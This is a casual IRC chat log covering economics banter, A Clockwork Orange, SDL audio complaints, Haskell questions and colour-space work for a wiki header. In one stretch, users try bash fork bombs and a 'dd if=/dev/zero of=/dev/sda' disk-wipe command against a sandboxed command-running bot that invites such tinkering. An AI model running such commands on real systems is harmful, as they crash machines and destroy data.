20:49:29 <nortti> what you described was almost exactly like marxist socialism, but it lacked common ownership
20:49:45 <oerjan> <MDude> I'd say most economic theories work if you presume human nature magically conform to thier expectations. <-- as i and probably others have said before, every form of government works if all people are perfect, including nazism.
20:50:35 <itidus21> nortti: actually i hinted at that.. in the second half of one post :-D but didnt quite fit it in, in my ramble
20:50:38 <itidus21> "or could people with their freetime just merrily use whatever they encounter which would probably be in abundance"
20:50:40 <oerjan> nortti: nazism makes it a better joke
20:50:54 <itidus21> that would be for the consumption period
20:51:08 <oerjan> Phantom_Hoover: the nazis only persecuted people who weren't considered perfect, right?
20:51:11 <Phantom_Hoover> It's not like people never invent logically inconsistent systems, after all.
20:51:11 <MDude> How would you measure productivity?
20:52:18 <nortti> itidus21: so you basicaly reinvented narxism
20:52:48 <itidus21> well i have chatted with a pro-marx guy before who explained that communism was a distortion of marx.. and another guy who said marx is unworkable
20:52:54 <oerjan> narxism, the best form of government
20:53:07 <itidus21> and maybe figured out the gaps
20:53:26 <MDude> Narxism: Marxism for narcisists?
20:54:06 <olsner> narczism, nazism for narcotics
20:54:20 <itidus21> in any case we hve the best bodies on earth.. out of all animals and plants.. so we should accordingly have the best quiality of life
20:55:17 <nortti> I am socialist myseft and I think that every "Communistic' country is just dictatorship, but Marxist Communism might work if executed properly
20:56:10 <itidus21> i find that when we consider things like long life as needs then it eats away a piece of the labour pie
20:56:34 <itidus21> but we don't want to just let each other die young or from diseases
20:57:04 <oerjan> <itidus21> in any case we hve the best bodies on earth.. out of all animals and plants.. <-- ok that's enough. go take a timeout and read about human evolutionary flaws.
20:57:33 <oerjan> our _brains_ may be the best, but the rest of our bodies have paid for it.
20:57:47 <MDude> We are the only animal with such ready access to candy, cartoons, and air conditioning.
20:58:07 <MDude> Maybe cats have it better, but they can't taste sugar.
20:58:47 * Phantom_Hoover remembers the time his family visited a museum and his mother (an obstetrician) spent all her time examining animal pelvises and pointing out how comparatively large the birth canal is to humans'.
20:58:59 <nortti> even if our brains are best we must remember that no other species has nerly blown up the entire world...
20:59:32 <itidus21> oerjan: yeah.. anything more i say about this will be downhill from here
21:00:35 <oerjan> nortti: hm are you sure? see: the oxygen catastrophe
21:01:05 <fizzie> @tell elliott FWIW, the esocolors in L*a*b* are (138.4, -29.2, 30.6), (149.6, -17.9, 59.0), (143.8, -2.7, 38.9) and (135.5, 4.6, -12.0). http://zem.fi/~fis/esocolor.png shows the slice of L*a*b* for L* = 141.8 (mean of those) that's representable in sRGB. The red dots are the colors' a* and b* coords.
21:01:55 <nortti> oerjan: oxygen didn't came even close to blowing up the planet. It just poisoned most of life on it
21:02:30 <oerjan> nortti: we aren't close to blowing up the planet either. you think nuclear weapons will do more than scratch the surface?
21:03:20 <oerjan> http://qntm.org/destroy
21:04:30 <fizzie> @tell elliott Oh, and the black dot is the sRGB white point's chroma.
21:04:45 <nortti> oerjan: what about if we drill a hole and put all nukes and bombs to it and then launch all of them at the same time
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21:05:52 <olsner> nortti: probably almost nothing happens
21:06:08 <fizzie> That will just cause oerjan to lose eir terminal, nothing more.
21:06:08 <MDude> Maybe a lot of earthquakes.
21:07:18 <nortti> olsner: but it will propably do more than sractch the surface
21:08:09 <itidus21> plants would survive it i hope..
21:08:23 <olsner> nortti: I think it will just barely scratch the surface :) but enough fallout might make the earth uninhabitable without needing to destroy much of it
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21:15:55 <hagb4rd2> are you familiar with the nadsat slang? you're interested in langs iirc
21:16:26 <hagb4rd2> the clockwork orange soviet-american teen language
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21:27:55 * oerjan knows only vaguely that nadsat is supposedly from a clockwork orange, a movie he has never seen.
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21:30:36 <olsner> oerjan: you haven't seen it? but it's like the most famousest classic movie
21:31:09 <oerjan> well i've heard enough to think it's not the kind of movie i'd like to see.
21:32:34 <Vorpal> yeah, from what I heard the plot is quite nasty, don't think I'll ever watch that
21:33:13 <Jafet> That movie is a menace to civilised society. It encourages ultraviolence, shameless sexual depravity, and Deutsche Grammophon. I recommend it to everyone.
21:34:32 <Vorpal> does Deutsche Grammophon still exist?
21:34:50 <olsner> if not, how could the movie encourage it?
21:35:10 <Vorpal> "It is now part of Universal Music Group (UMG) since its acquisition and absorption of PolyGram in 1999, and it is also UMG's oldest active label. It is also the oldest surviving established record company."
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21:35:55 <Vorpal> olsner, anyway when is the movie supposed to be set? "In the future" I know, but it was a while ago that movie was made
21:36:23 <olsner> Vorpal: in the year of the Deutsche Grammophon
21:36:48 <olsner> it's like the year of the rat, but different
21:36:55 <oerjan> Jafet: been reading http://tvtropes.org/pmwiki/pmwiki.php/Main/ArsonMurderAndJaywalking ? (EVERYONE ELSE: DON
21:37:23 <Jafet> http://tvtropes.org/pmwiki/pmwiki.php/Main/RuleOfThree
21:37:41 <oerjan> i _tried_ to warn you, but my fingers thwarted me
21:37:54 <Vorpal> oh I read that before, I'm immune thus
21:38:00 <Jafet> http://tvtropes.org/pmwiki/pmwiki.php/Main/AndItsTerrible
21:38:19 <olsner> Vorpal: re-read it, it's been updated since then
21:38:44 <Vorpal> besides I use w3m -dump to read tv tropes. So I get plain text, no links
21:39:04 <olsner> sounds like derptropes
21:39:12 <Vorpal> and I /always/ go for the laconic version if one exists
21:39:42 <Vorpal> anyway I have an exam tomorrow. So good night.
21:39:46 * Vorpal puts computer to sleep
21:40:53 <hagb4rd2> i like the fact that the language in develops in a way where russian and american are melting togeter
21:41:42 <oerjan> Jafet: your last link doesn't exist
21:41:51 <hagb4rd2> who actually has written in during the cold war
21:41:58 <Jafet> http://tvtropes.org/pmwiki/pmwiki.php/Main/AndThatsTerrible
21:42:22 <oerjan> i thought you might mean that. we've been introduced before.
21:42:28 <HackEgo> Gregor took forty cakes. He took 40 cakes. That's as many as four tens. And that's terrible.
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21:44:51 <oerjan> shachaf: is that some kind of reverse arrow notation?
21:45:31 <shachaf> It's as many as seven 111s.
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22:13:43 <HackEgo> ln: `../': hard link not allowed for directory
22:15:02 <nortti> `run ln /hackenv ./hackenv
22:15:05 <HackEgo> ln: `/hackenv': hard link not allowed for directory
22:15:39 <nortti> `run ln -s /hackenv ./hackenv
22:15:53 <HackEgo> UNDELETE.EXE \ bin \ canary \ hackenv \ karma \ lib \ paste \ quotes \ share \ wisdom
22:16:58 <HackEgo> UNDELETE.EXE \ bin \ canary \ hackenv \ karma \ lib \ paste \ quotes \ share \ wisdom
22:17:52 <fizzie> What's that all about?
22:18:25 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.18411
22:18:26 <ais523> fizzie: someone tried to run it and complained that it didn't work
22:18:39 <fizzie> `run rm UNDELETE.EXE #you will be missed
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22:20:25 <nortti> so that's what rm UNDELETE.EXE does
22:21:30 <nortti> it makes Phantom_Hoover and ais523 quit
22:27:51 <HackEgo> bin \ canary \ hackenv \ karma \ lib \ paste \ quotes \ share \ wisdom
22:28:36 <HackEgo> HackEgo, also known as HackBot, is a bot that runs arbitrary commands on Unix. See `help for info on using it. You should totally try to hax0r it! Make sure you imagine it's running as root with no sandboxing.
22:28:55 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
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22:41:29 <shachaf> No worries, we know what to do when a file is rmed.
22:41:39 <shachaf> `run ./UNDELETE.EXE ./UNDELETE.EXE
22:41:42 <HackEgo> bash: ./UNDELETE.EXE: No such file or directory
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22:42:30 <fizzie> `run ./UNDELETE.EXE "Gregor's porn stash"
22:42:33 <HackEgo> bash: ./UNDELETE.EXE: No such file or directory
22:49:09 <fizzie> `run ./UNDELETE.EXE .gregors_sneakier_sicko_porn_stash #Nice trick hiding with a dot like that, too.
22:49:11 <HackEgo> bash: ./UNDELETE.EXE: No such file or directory
23:03:46 <pikhq_> I think I hate SDL's audio.
23:04:10 <pikhq_> *Callback* based audio?
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23:35:21 <HackEgo> bash: -c: line 0: syntax error near unexpected token `{:' \ bash: -c: line 0: `:(){:|:&}:;'
23:35:39 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: :(){:|:&}:;: not found
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23:35:57 <ion> `run :(){:|:&};:
23:36:00 <HackEgo> bash: -c: line 0: syntax error near unexpected token `{:' \ bash: -c: line 0: `:(){:|:&};:'
23:36:08 <ion> `run foo(){foo|foo&};foo
23:36:11 <HackEgo> bash: -c: line 0: syntax error near unexpected token `{foo' \ bash: -c: line 0: `foo(){foo|foo&};foo'
23:36:21 <ion> `run foo(){ foo|foo&};foo
23:36:41 <HackEgo> GNU bash, version 4.1.5(1)-release (x86_64-pc-linux-gnu) \ Copyright (C) 2009 Free Software Foundation, Inc. \ License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> \ \ This is free software; you are free to change and redistribute it. \ There is NO WARRANTY, to the extent permitted by law.
23:36:51 <ion> `run printf '%s\n' 'foo(){ foo|foo&};foo'
23:37:10 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: init: not found
23:37:51 <sebbu> damn, were it 0 i would have tried using dd ^^"
23:39:23 <ion> You can still use dd. :-P
23:40:25 <HackEgo> rootfs on / type rootfs (rw) \ none on /bin type hostfs (ro,nosuid,relatime,/bin/) \ none on /usr type hostfs (ro,nosuid,relatime,/usr/) \ none on /dev type hostfs (ro,nosuid,relatime,/dev/) \ none on /opt type hostfs (ro,nosuid,relatime,/opt/) \ none on /lib type hostfs (ro,nosuid,relatime,/lib/) \ none on /sbin type hostfs (ro,nosuid,relatime,/sbin/) \ none on /lib64 type hostfs (ro,nosuid,relatime,/lib64/) \ none
23:40:39 <sebbu> `dd if=/dev/zero of=/dev/sda
23:40:42 <HackEgo> dd: opening `/dev/zero of=/dev/sda': No such file or directory
23:42:44 <HackEgo> Linux umlbox 3.0.8-umlbox #2 Sun Nov 13 21:30:28 UTC 2011 x86_64 GNU/Linux
23:44:57 <pikhq_> Who was the moron that designed SDL audio, and can I please cause bodily harm on them?
23:45:34 <sebbu> pikhq_, can't you use sdl mixer or something else ?
23:46:21 <pikhq_> sebbu: I doubt that'll help, given that my problem is I have a single stream of samples and want them to play.
23:46:52 <sebbu> and it doesn't ? :o
23:47:06 <pikhq_> And what I'd like to do is some hypothetical SDL_PlaySamples(samples, len);. But nooooooo, it has to have some cockamamy poorly-thought-out callback scheme.
23:47:46 <pikhq_> So, I've got a ring buffer that I add samples to, and read from in the callback... And it sounds really fucking weird.
23:48:29 <sebbu> maybe the reading and the cycling of the ring isn't synchronized
23:49:08 <pikhq_> I lock the audio thread whilst writing to the ring buffer.
23:49:36 <pikhq_> (BTW, WHY THE HELL SHOULD I HAVE TO DEAL WITH A THREAD JUST TO FEED SAMPLES TO THE AUDIO PLAYBACK WHY WHY WHY WHY)
23:49:59 <sebbu> pikhq_, i was more saying "maybe it reads less/more than it shoul"
23:53:23 <sebbu> or it pause too long
23:54:22 <fizzie> SDL_mixer does exactly that; you can just give it a "chunk" i.e. an in-memory sample, and it'll handle feeding that to SDL. (Admittedly it's slightly overkill, maybe, and has audio file loading and whatnot.)
23:55:30 <fizzie> (Disclaimer: haven't bothered to use it.)
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23:58:22 <pikhq_> That I'd have to use SDL mixer for that is... Obnoxious.
00:04:24 <fizzie> SDL isn't exactly known for having much convenience code around the low-level API in the "core".
00:04:46 <pikhq_> This is a case of SDL not merely lacking convenience code.
00:04:56 <pikhq_> This is a case of SDL being *harder than the APIs it's wrapping*.
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00:14:49 * oerjan has a hunch he lost connection, but isn't sure
00:15:51 <oerjan> As opposed to logging out voluntarily, that is.
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00:24:39 <fizzie> I would think the reasonable way to implement a synchronous sound API in SDL would be to build it on top of the asynchronous one, instead of trying to map those calls to something backend-specific that might not even exist, in which case it's pretty close to convenience code from the implementer's point of view.
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01:14:23 <Sgeo> tswett, monqy MUFFIN
01:27:01 <monqy> what type of muffin
01:30:56 <Sgeo> More specifically, a FFMUFFUFFIN
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01:55:59 <Sgeo> http://www.blue-room.org.uk/wiki/Widowmaker
01:56:04 <Sgeo> http://www.youtube.com/watch?v=A25FRpkbDxU
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05:25:16 <Sgeo> monqy, tswett muffin
05:25:40 <monqy> is it a better flavor this time
05:25:49 <Sgeo> It's cake flavored
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09:29:28 <lambdabot> elliott: You have 3 new messages. '/msg lambdabot @messages' to read them.
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09:32:29 <elliott> `addquote <itidus21> it sounds awful though i know.. the thought of a whole life without any hope of lawn chairs in hawaii sipping alcohol and watching bikini clad women dance with maracas
09:32:37 <HackEgo> 826) <itidus21> it sounds awful though i know.. the thought of a whole life without any hope of lawn chairs in hawaii sipping alcohol and watching bikini clad women dance with maracas
09:33:05 <elliott> <lambdabot> fizzie said 12h 31m 19s ago: FWIW, the esocolors in L*a*b* are (138.4, -29.2, 30.6), (149.6, -17.9, 59.0), (143.8, -2.7, 38.9) and (135.5, 4.6, -12.0). http://zem.fi/~fis/esocolor.png shows the
09:33:05 <elliott> <lambdabot> slice of L*a*b* for L* = 141.8 (mean of those) that's representable in sRGB. The red dots are the colors' a* and b* coords.
09:33:25 <elliott> fizzie: That seems a reasonable enough range. How viable do you think your circle-in-L*a*b* idea would be?
09:33:39 <elliott> I hate having to choose more than one variable.
09:35:02 <elliott> 20:49:45: <oerjan> <MDude> I'd say most economic theories work if you presume human nature magically conform to thier expectations. <-- as i and probably others have said before, every form of government works if all people are perfect, including nazism.
09:35:16 <elliott> oerjan: Uhh, unless you're Jewish, or gay, or...
09:35:38 <elliott> oerjan: If by "perfect" you mean "Nazis", then yes.
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09:35:45 <elliott> That's quite a nonstandard definition.
09:38:22 <shachaf> elliott: Wait, how do <--- arrows work with multiple people being quoted?
09:39:05 <shachaf> elliott: Anyway, tell me about coinductive functions.
09:41:50 <elliott> shachaf: http://stackoverflow.com/questions/9819578/whats-the-meaning-of-io-actions-within-pure-functions
09:42:00 <elliott> I felt like hurting you, so I linked that.
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09:44:49 <shachaf> The title looks promising.
09:45:09 <shachaf> "whats-the-meaning-of-io-actions" -- conal "conal" conal?
09:45:49 <shachaf> This person is distinctly not conal. :-(
09:49:24 <elliott> How can I give a monad the ability to execute actions from another one then, by giving it the possibility to pattern match against the values it contains? – Riccardo 2 mins ago
09:49:30 <elliott> Do you think I can just ignore this question?
09:49:49 <shachaf> I think you already failed.
09:50:00 <shachaf> See, I wasn't even seeing that question until you put it in here.
09:50:19 <shachaf> elliott: Remind me what the reason that you felt like hurting me in the first place was again?
09:51:29 * shachaf is as many as four tens. :-(
09:55:16 <shachaf> elliott: "But a monad has no ability to execute the actions of another monad unless you give it that ability."
09:55:22 <shachaf> That's kind of vague and misleading.
09:55:42 <shachaf> "a monad" doesn't execute anything.
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10:13:00 <elliott> shachaf: Can you suggest a less misleading reply to that nonsense?
10:14:36 <shachaf> I would suggest not saying that part at all.
10:20:26 <elliott> shachaf: I don't really expect to be able to enlighten this person if the rest of my answer didn't, anyway.
10:21:33 <elliott> How can I give a monad the ability to execute actions from another one then, by giving it the possibility to pattern match against the values it contains? – Riccardo 34 mins ago
10:21:34 <elliott> By writing methods that convert one monad into another, or do some execution. Control.Monad.ST.stToIO converts an ST computation into an IO computation, for example. – Louis Wasserman 13 mins ago
10:21:40 <elliott> I like it when other people handle questions I don't want to.
10:21:46 * elliott will avoid nitpciking about "method".
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10:25:18 <elliott> http://www.mobiletextinput.com/Product/What_is_SlideIT/ Hmm, is this a ripoff of Swype or vice-versa?
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10:27:06 * shachaf rips both off, creates SwypeIT
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10:39:17 <hagb4rd> wertzuioknbvfderghjkoiuztrewertzuiuztrewertzuioiuztrghjkjhgfds
10:39:29 <fizzie> elliott: I'm honestly not sure how much sense a circle makes, but here are some colors picked from one: http://zem.fi/~fis/esocolorlab.html
10:39:32 <fizzie> The first table has the original colors, and then colors at angles 0, 90, 180 and 270 degrees from the about-largest circle centered at the white point that can fit in sRGB for L* = min (second line) or mean (third line) of the originals. And then there's the same thing except with a rotating 'phase'.
10:39:37 <fizzie> Technically the "perceptual distance" between any horizontal neighbours in the "phase-wheel" tables should be identical, but YMMV -- it's only a rough approximation, after all.
10:39:42 <hagb4rd> i doesn't work perfectly yet
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10:40:42 <hagb4rd> but it _is_ perfect for long words..indeed
10:44:27 <elliott> fizzie: I don't quite understand the results, but they don't look promising. :(
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10:45:19 <elliott> I guess science is just not equipped to handle the task "give me four different pastel-looking colours that are perceptually evenly-spaced".
10:48:45 <fizzie> Not if you actually want colours you like, perhaps. I mean, those look more or less "pastel" to me, and as for even-spacedness, well... maybe not so much, but it's at least wrong in a justified way.
10:49:38 <fizzie> Anyway, you can't have more than three unique evenly spaced points in a two-dimensional space, which is what an equal-lightness slice of L*a*b* is.
10:50:20 <elliott> fizzie: Clearly we need a... four-dimensional colour tesseract.
10:50:49 <fizzie> I guess you could stick an arbitrarily oriented regular tetrahedron in the 3D L*a*b* space, but that's probably going to give nonsense out too.
10:51:05 <elliott> fizzie: Anyway, yes, they're pastel. But they're not "primary" in the way that the existing colours are; that is, the green, yellow and blue are a lot more *strongly* different than the ones the L*a*b* circle is spitting out.
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10:54:04 <fizzie> That much is true. Sadly, I could only have a so large radius for a "grayness-centered" circle before going outside sRGB. The existing points are more like on an ellipse in labspace.
10:54:08 <fizzie> For the record, the one black box (at 18 degrees for L* = 88.6) would be (1.000322, 0.831912, 0.837298) or "#100d4d6" in sRGB.
10:58:30 <elliott> Would it look horrible if you picked a circle outside sRGB and then "sampled it down" to sRGB?
10:59:02 <elliott> I mean, I've seen a circle thing with "all" of L*a*b* that mapped down the stuff outside sRGB.
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11:08:11 <fizzie> FWIW, I added the colors you get if you draw the ellipse that somewhat approximates the four original points (with major axis oriented along the esoyellow -> esoblue direction), and then pick points at the places where the major and minor axes cross the ellipse. But they're not especially pleasant colours either, especially the yellow after being brought down to the same level of "lightness as ...
11:08:28 <fizzie> (Of course if you *want* a vaguely urine-looking header, go ahead.)
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11:10:56 <elliott> Well, the peach is kind of the odd one out as far as the colours go.
11:11:06 <elliott> But I doubt you'd get anything especially better by omitting it.
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11:23:25 <elliott> Irony: http://en.wikipedia.org/wiki/Digital_object_identifier is in [[Category:Pages with DOI errors]].
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11:37:15 <elliott> http://www.reddit.com/r/haskell/comments/r8861/i_love_this_tv_show_sooooo_fucking_awesome/ I... don't understand.
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12:08:08 <itidus20> Bom dia, sarg. Haskell! Lindo dia para um piquenique!
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12:09:37 <itidus20> Good morning, sarg. Haskell! Nice day for a picnic!
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15:03:16 <elliott> RocketJSquirrel: Did the others not work out?
15:04:20 <Sgeo> When did Magnatune start sucking?
15:08:31 <elliott> This guy on proggit is incredibly annoying.
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15:24:09 * Sgeo wonders if Learn Seven Languages in Seven Weeks is any good
15:24:33 <elliott> You can't learn a language in a week.
15:24:57 <elliott> Also, everyone who has mentioned that book in #haskell has been clueless.
15:25:57 <elliott> You say that a lot. What does it mean?
15:26:41 <elliott> fizzie: What was that link to the backgroundy versions of the header colours?
15:31:06 <Sgeo> Oh, it's not called "Learn" Seven Languages in Seven Weeks
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15:47:37 <RocketJSquirrel> elliott: Their bootstrapping script only works with bash, and bash doesn't work right now due to some strange musl issue.
15:49:21 <elliott> lol, what shell are you using?
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15:50:26 <nortti> real men use Minix 1 for m68k when they need to use *nix and ash is standard shell on it
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15:56:12 <ais523> yay, teaching over for the academic year
15:56:17 <ais523> not counting potential marks entry or exam marking
15:59:05 <nortti> calamari: no. real men use Thompson shell
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16:00:17 <elliott> nortti: Real men use Multics.
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16:01:39 <nortti> elliott: No they toggle in a microkernel from the front panel
16:02:32 <ais523> real men made their computer out of transistors, and have their boot code hardcoded from memory
16:02:40 <elliott> Microkernels are for wusses.
16:04:36 <Phantom_Hoover> Real men bend silicon into shape with their bare hands and dope it with their spit.
16:05:06 <ais523> is spit n-type or p-type?
16:05:15 <ais523> it's mostly made of water and protein, right?
16:05:21 <nortti> actually they use butterflies to toggle bits in core memory of their machines built out of relays that they mined the needed minerals for
16:06:29 <elliott> Real men don't use computers.
16:06:32 <elliott> There, stupid meme killed.
16:06:41 <calamari> just use an abacus for memory and execute the instructions by hand
16:08:25 <elliott> Phantom_Hoover: Yes, yours was the only good one.
16:09:05 <ais523> the problem is that such discussions collapse into self-parody too quickly
16:09:13 <ais523> and are indistinguishable from it even if they aren't meant to be
16:09:37 <elliott> The main problem is that the meme is dumb in the first place.
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16:36:07 <elliott> ais523: Hey, should I add <ref> and <math>?
16:36:24 <ais523> elliott: depends on if you think anyone would use them
16:36:35 <ais523> also, why not zzo38's custom mathy thing?
16:36:36 <nortti> elliott: isn't <math> depreciated?
16:42:10 <elliott> ais523: Because zzo38's custom mathy thing (a) needs heavy modifications to be usable on anybody else's computer by his own admission, (b) obviously doesn't support standard LaTeX syntax, and (c) has no MediaWiki extension, he wants me to write the extension for him to use it.
16:42:21 <elliott> nortti: I mean, no, not that I'm aware of, what's its successor?
16:42:49 <nortti> I just thought that it wouldn't pass vadility essor
16:43:13 * elliott has no idea what essor is.
16:43:14 <nortti> s/essor/check without errors/
16:44:06 <elliott> Oh, are you referring to some HTML <math> tag? (I think it might have had such a tag in the past.)
16:44:21 <elliott> I'm referring to the MediaWiki <math> tag, which takes LaTeX and spits out a PNG on the page.
16:44:54 <nortti> html <math> tag was in html 3.0-3.2
16:45:14 <elliott> ais523: I think <ref> would be useful, since there are quite a few articles with citations done in a rather ad-hoc style (mostly the theoretical CS stuff).
16:46:09 <elliott> oh, the math extension is transitioning to MathJax, I guess I'll wait until that's done before installing it
17:11:08 <elliott> http://stackoverflow.com/suggested-edits/225891
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17:16:44 <fizzie> elliott: http://zem.fi/~fis/esocolor.html has the HLS lightened versions. First table is just setting a fixed L and keeping hue/saturation, while the second table sets L to l+x*(1-l), where l is the old l and x is that value on the header row, in a sense "lightening" all the colors by as much.
17:17:33 <elliott> fizzie: It has expanded since last time, I see.
17:17:55 <elliott> I suppose lightening them with L*a*b* would go as disastrously as the other Lab experiment?
17:18:21 <fizzie> I can try it, but I doubt it differs from HLS terribly much.
17:18:45 <elliott> 0.96 from the first table and 0.60/0.70 from the second table seem good.
17:19:52 <fizzie> For completeness, I added a third table that has equal-darkening values too.
17:20:06 <fizzie> Not that you probably need those.
17:20:19 <fizzie> Except for the GOTH EDITION the 0.1 values from that might work.
17:20:34 <elliott> fizzie: Well, it could be useful for Halloween, I suppose.
17:21:30 <elliott> fizzie: If I want to make the wiki DARK and SPOOKY.
17:22:05 <elliott> fizzie: I THINK YOU'LL FIND that orig = 1.00, unsurprisingly.
17:22:11 <elliott> Maybe you should remove the orig column and flip the table. :p
17:22:25 <elliott> And then rename the 1.00 column to orig. Clearly perfection is a requirement.
17:22:50 <fizzie> 1.0 column of second table is not the most useful either.
17:22:53 <elliott> In fact, you should completely automate the table-creation process.
17:23:10 <Sgeo> tswett, is it ok that I said hi?
17:23:51 <ais523> so what are these esocolor things?
17:24:55 <elliott> Sgeo: Saying hi is forbidden.
17:24:58 <elliott> ais523: We're painting fizzie's house.
17:25:09 <ais523> not sure I believe that
17:25:23 <elliott> Some people believe the world is round, man.
17:25:27 <elliott> fizzie: Housepainting, right?
17:25:40 <ais523> elliott: does anyone /really/ believe the world is piecewise-linear?
17:33:11 <Sgeo> Q: "What about Lunar Eclipses?"
17:33:11 <Sgeo> A: A celestial body, known as the antimoon, passes between the sun and moon. This projects a shadow upon the moon.
17:34:16 <nortti> Sgeo: where is that quote
17:34:29 <Sgeo> http://www.theflatearthsociety.org/wiki/index.php?title=FAQ
17:34:54 <elliott> i still haven't forgiven sgeo for saying hi
17:35:52 <nortti> oh god. the flat earth society
17:36:14 <fizzie> elliott: Just for completeness, L*a*b*-lightened/darkened versions: http://zem.fi/~fis/esocolor3.html
17:41:13 <fizzie> The differences are kinda-sorta slight. E.g. the 0.5 columns are identical for 10 of the 12 eight-bit components, and the remaining two differ by 1.
17:41:56 <elliott> fizzie: Well, the darkening table is rather different.
17:42:08 <elliott> (And rather better, I think.)
17:44:50 <elliott> I really need to replace that peach, though.
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17:46:53 <fizzie> The darkening table is different because it's done differently; it's "equally spaced points on the line between the original and the nonchromatic black", so it sorta desaturates while it's at it. I added a third table that just brings L* down to 0, but those tend to again fall outside the vaguely shaped sRGB region.
17:49:18 <elliott> fizzie: L*a*b* is scaring me a bit. I mean, I know *I* can't imagine a colour not inside sRGB.
17:49:23 <elliott> Who is to say such colours even exist?
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17:50:04 <fizzie> Any laser pointer light is outside sRGB, unless it happens to exactly coincide with one of the three sRGB primaries.
17:50:48 <elliott> This is the real question.
17:51:15 <olsner> elliott: you'll love this one: https://twitter.com/#!/jakedevine/status/182865434289258496/photo/1
17:51:30 <elliott> fizzie: http://upload.wikimedia.org/wikipedia/commons/6/60/Cie_Chart_with_sRGB_gamut_by_spigget.png -- see, sRGB can even depict areas outside of sRGB.
17:51:33 <Phantom_Hoover> fizzie, are the R, G and B in sRGB defined as precise wavelengths?
17:52:10 <fizzie> elliott: They just do those fake-color images. You'll notice there's a discontinuity at the border of the sRGB triangle.
17:52:49 <elliott> fizzie: Next you'll tell me those nebulae don't *really* look that colourful.
17:53:20 <elliott> Phantom_Hoover: You forgot the s.
17:53:21 <fizzie> Phantom_Hoover: Well, they're defined in the XYZ colorspace. I suppose they're not exactly monochromatic.
17:54:04 <elliott> fizzie: Why do we even need colour spaces, man? Can't we just use wavelengths?!
17:54:11 <fizzie> I mean, they'd be at the borders of that chromaticity chart if they were.
17:54:13 <elliott> (Question more serious than I'd like.)
17:54:25 <olsner> hmm, twitter had a fair bit of wtf itself there... the text in the tweet says "pic.twitter.com/ybRMIfeR", the status bar while hovering the link says "http://t.co/ybRMIfeR", the tooltip says "https://twitter.com/jakedevine/status/182865434289258496/photo/1"
17:54:34 <olsner> and finally, following the link takes you to the link I pasted above
17:54:55 <elliott> Phantom_Hoover: Well, as we all know, purple isn't real.
17:55:00 <elliott> Phantom_Hoover: So it doesn't matter if you can't display it.
17:55:12 <elliott> Phantom_Hoover: OK, why can't we just use a combination of an arbitrary number of wavelengths?!
17:55:46 <fizzie> As soon as they start making displays that give out arbitrary spectral power distributions, I suppose we can.
17:56:01 <elliott> fizzie: The displays can just ignore the colours they can't produce!
17:56:10 <Phantom_Hoover> They had a thing in St Andrews which pulsed laser light at arbitrary frequencies.
17:56:15 <elliott> L*a*b* still exists and there aren't any displays with that! (Are there?)
17:56:43 <elliott> Phantom_Hoover: I forget, did I link you to that thing where you stare at an image and its border becomes more blue than blue itself.
17:56:46 <Phantom_Hoover> I suppose if you miniaturised the hell out of that and stuck a few of them behind each pixel, you could compound a few wavelengths (which is enough).
17:57:02 <elliott> Phantom_Hoover: No, there's a blue one.
17:57:18 <elliott> Phantom_Hoover: It's awesome.
17:57:23 <elliott> I really like the blue colour it produces.
17:57:44 <elliott> Phantom_Hoover: Grep /Eclipse of Mars/, http://www.skytopia.com/project/illusion/illusion.html
17:58:12 <fizzie> Alternatively, if you just hook the display up to the optical nerve (or I guess clamp it on the retina and add enough pixels) you can specify which color receptors to tickle, which is by definition enough to make any seeable colour for that person.
17:58:50 <Phantom_Hoover> elliott, the text accompanying it suggests that it's just not representable on a monitor.
17:58:51 <fizzie> I suppose if you aim *really well* you could do it from a distance, too.
17:59:26 <elliott> Phantom_Hoover: Uhh, the colour it produces is not representable on a monitor.
17:59:39 <elliott> It's an optical illusion; it doesn't have to have any pixels of the colour in question to make you see it.
17:59:44 <elliott> I have done it, it works perfectly.
18:00:06 <elliott> fizzie: Oh, CIE 1931 XYZ actually includes colours that don't exist. That's reassuring.
18:00:39 <Phantom_Hoover> elliott, I mean it suggests that it's not displayable by a monitor but can be realised through other non-illusory means.
18:00:51 <elliott> Phantom_Hoover: Oh, well right.
18:00:59 <elliott> Phantom_Hoover: It certainly looked more brilliant than any cyan *I've* seen.
18:01:51 <Phantom_Hoover> http://en.wikipedia.org/wiki/File:CIE_1931_XYZ_Color_Matching_Functions.svg
18:02:23 <fizzie> The color matching function approximations are IIRC really horrible.
18:02:40 <fizzie> There are "better" curves in the bits that talk about the eye.
18:02:52 <fizzie> (Not that they're any more clearly "red" or "green" or "blue" either.)
18:03:21 <fizzie> http://en.wikipedia.org/wiki/File:Cone-response.svg has some sort of normalized curves.
18:03:30 <elliott> fizzie: Are there colourspaces that contain the entire visual range?
18:03:31 <fizzie> (Don't know how good those are either.)
18:04:16 <fizzie> elliott: Well, XYZ for one, as long as it's the visual range for the CIE standard observer.
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18:05:34 <elliott> fizzie: Man, fuck that standard observer.
18:05:47 <elliott> I suppose that's why everyone specifies things in terms of XYZ?
18:06:30 <fizzie> It's a reasonable thing as long as your target market is humans.
18:06:53 <elliott> Phantom_Hoover: Did you do that eclipse of mars thing yet it's awesome.
18:06:54 <fizzie> But obviously you can't represent an arbitrary spectrum with just three components, so it's not enough for more sophisticated customers.
18:07:06 <elliott> fizzie: OK but what about aliens?
18:07:24 <elliott> fizzie: Or dogs. Is infrared in XYZ?
18:07:42 <fizzie> I suppose you'll just have to start modeling actual spectral power distributions. Some 3D modelling systems do.
18:08:08 <fizzie> That LuxRender thing, for example.
18:09:32 <fizzie> (Well, okay, they're still just sampled and quantized spectra.)
18:10:23 <elliott> fizzie: Or dogs. Is infrared in XYZ?
18:11:08 <fizzie> I think the XYZ color matching functions go to 0 pretty much at the edges of "visible light", so I'm going with no.
18:11:54 <elliott> Phantom_Hoover: http://www.skytopia.com/project/illusion/ipage-mb.html Does this one work for you? It doesn't work for me.
18:11:57 <fizzie> LuxRender has a fancy thing where if you specify a color in R, G, B, it has a whole thing -- http://www.cs.utah.edu/~bes/papers/color/ -- that it uses to make a "physically plausible" spectrum for it.
18:13:13 <Phantom_Hoover> elliott, works, I just need to change the point of focus a lot.
